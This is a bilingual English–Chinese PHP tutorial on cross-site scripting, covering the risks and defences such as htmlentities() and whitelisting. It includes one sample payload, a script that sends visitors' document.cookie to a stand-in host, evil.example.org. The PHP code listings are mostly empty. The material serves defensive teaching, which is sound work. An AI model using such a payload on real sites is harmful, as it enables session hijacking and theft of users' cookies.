PHP Security / Form Processing / Cross-Site Scripting Wed, Jun 6. 2007
Cross-Site Scripting
跨站点脚本
The media has helped make cross-site scripting (XSS) a familiar term, and the attention is deserved. It is one of the most common security vulnerabilities in Web applications, and many popular open source PHP applications suffer from constant XSS vulnerabilities.
媒体使得跨站点脚本(XSS)成为一个常见词汇,对跨站点脚本多加小心是值得的。 这是在 Web 应用程序里最常见的安全隐患之一,而且很多流行的开源 PHP 程序里也有一定量的 XSS 隐患。
XSS attacks have the following characteristics:
跨站点脚本攻击有着如下的特征:
-
Exploit the trust a user has for a particular site.
Users don't necessarily have a high level of trust for any Web site, but the browser does. For example, when the browser sends cookies in a request, it is trusting the Web site. Users may also have different browsing habits or even different levels of security defined in their browser depending on which site they are visiting.
-
利用用户对特定站点的信任。
用户不太可能对所有的 Web 站点都能够充分信任,但是浏览器可不是这样的。 举例来说,当浏览器在发送请求中包含了 cookie 的时候,就意味着浏览器是信任这个站点的。 不同用户可能有不同的浏览习惯,甚至在浏览器中给不同的网站设置不同的安全级。
-
Generally involve Web sites that display foreign data.
Applications at a heightened risk include forums, Web mail clients, and anything that displays syndicated content (such as RSS feeds).
-
通常都包含哪些显示外来数据的站点。
论坛、Web 邮件客户端这样的程序都是处于高风险状态的程序, 任何要显示整合内容(例如 RSS 种子)的程序也是。
-
Inject content of the attacker's choosing.
When foreign data is not properly filtered, you might display content of the attacker's choosing. This is just as dangerous as letting the attacker edit your source on the server.
-
注入攻击者所选的内容。
如果外来数据没有很好的过滤,很可能你会显示攻击者所选的内容。 这就和允许供给者直接编辑你服务器上的代码一样危险。
How can this happen? If you display content that comes from any foreign source without properly filtering it, you are vulnerable to XSS. Foreign data isn't limited to data that comes from the client. It also means email displayed in a Web mail client, a banner advertisement, a syndicated blog, and the like. Any information that is not already in the code comes from a foreign source, and this generally means that most data is foreign data.
这是怎么发生的?如果你显示了来自外部的内容,而这些内容没有经过合适的过滤, 你就很容易受到 XSS 的攻击。外部数据不仅仅局限于来自客户端的数据。 还包括在 Web 邮件客户端里显示的电子邮件、旗帜广告、聚合 blog 等等。 任何不在你原始的代码里的数据都是外来数据,也就是说,绝大多数数据都是外来数据。
Consider the following example of a simplistic message board:
看看下面这个简单的公告板的例子:
- <?php
- {
- }
- ?>
This message board appends <br /> to whatever the user enters, appends this
to a file, then displays the current contents of the file.
这个公告板无论用户输入什么,都在后面添一个 <br />,追加到一个文件里,
然后把这个文件的当前内容显示出来。
Imagine if a user enters the following message:
假设用户输入了如下的信息:
- <script>
- document.location =
- 'http://evil.example.org/steal_cookies.php?cookies=' +
- document.cookie
- </script>
The next user who visits this message board with JavaScript enabled is
redirected to evil.example.org, and any cookies associated with the current
site are included in the query string of the URL.
下一个访问这个公告板的用户,如果启用了 JavaScript 支持,
会被重定向到 evil.example.org 去,而且和当前站点关联的所有
cookie 也会被添加到 URL 中去。
Of course, a real attacker wouldn't be limited by my lack of creativity or JavaScript expertise. Feel free to suggest better (more malicious?) examples.
当然了,一个真正的攻击者不会被我那可怜的创造力以及 JavaScript 经验缺乏而限制住的。 你可以随意建议一个更好的(或者说更加邪恶的?)例子。
What can you do? XSS is actually very easy to defend against. Where things get difficult is when you want to allow some HTML or client-side scripts to be provided by foreign sources (such as other users) and ultimately displayed, but even these situations aren't terribly difficult to handle. The following best practices can mitigate the risk of XSS:
那么你能做什么呢?XSS 实际上是非常容易防范的。 让事情变困难的是,你希望允许外界(例如其他用户)上传一些 HTML 代码,或者客户端脚本, 并且最后显示出来,但是即使这种情况也不是非常难以处理的。 下面这些最佳经验可以帮助你减轻 XSS 风险:
-
Filter all foreign data.
As mentioned earlier, data filtering is the most important practice you can adopt. By validating all foreign data as it enters and exits your application, you will mitigate a majority of XSS concerns.
-
过滤所有外来数据。
前面提到过,数据过滤是你能采取的最重要的措施。 通过过滤应用程序所有的输入输出数据,你就能够减轻绝大部分 XSS 风险。
-
Use existing functions.
Let PHP help with your filtering logic. Functions like
htmlentities(),strip_tags(), andutf8_decode()can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities. -
使用已有函数。
让 PHP 来帮助你的数据过滤吧。类似
htmlentities()、strip_tags()和utf8_decode()这样的函数会非常有用。 尽量避免重写 PHP 已经实现的函数。这不仅仅是因为 PHP 函数更快,还因为 PHP 已有函数经过了更多的测试,出现会引起风险的错误的机会也更小。 -
Use a whitelist approach.
Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.
-
使用白名单。
假设数据在被证明合法之前都是不合法的。 这包括验证数据的长度,以及数据是不是只含有合法的字符。 例如,如果用户提供的是姓,你开始的时候可能会只允许字母和空格。 在这种情况下会有错误的。O'Reilly 和 Berners-Lee 都会被认为是不合法的, 只要在白名单里面添加两个字符就可以很容易修复这个错误。 比起接受恶意数据,拒绝合法数据总是好一些。
-
Use a strict naming convention.
As mentioned earlier, a naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.
-
使用严格的命名约定。
正如前面说到的,命名约定能够帮助开发者很容易的区别经过过滤的数据和未经过滤得数据。 对开发者来说,让事情尽可能的简洁、明了是很重要的。 不清楚就会产生混乱,也就会引起安全隐患。
A much safer version of the simple message board mentioned earlier is as follows:
下面的例子是上面提到的公告板的加强安全版:
- <?php
- {
- }
- ?>
With the simple addition of htmlentities(), the message board is now much
safer. It should not be considered completely secure, but this is probably the
easiest step you can take to provide an adequate level of protection. Of course, it
is highly recommended that you follow all of the best practices that have been
discussed.
通过简单的添加 htmlentities() 函数,这个公告板比以前安全多了。
虽然还不能认为是完全的可靠,但是这是你要获得足够的保护级别所使用的最简单的方法了。
当然了,强烈你继续实践刚才讨论的这些最好的经验。
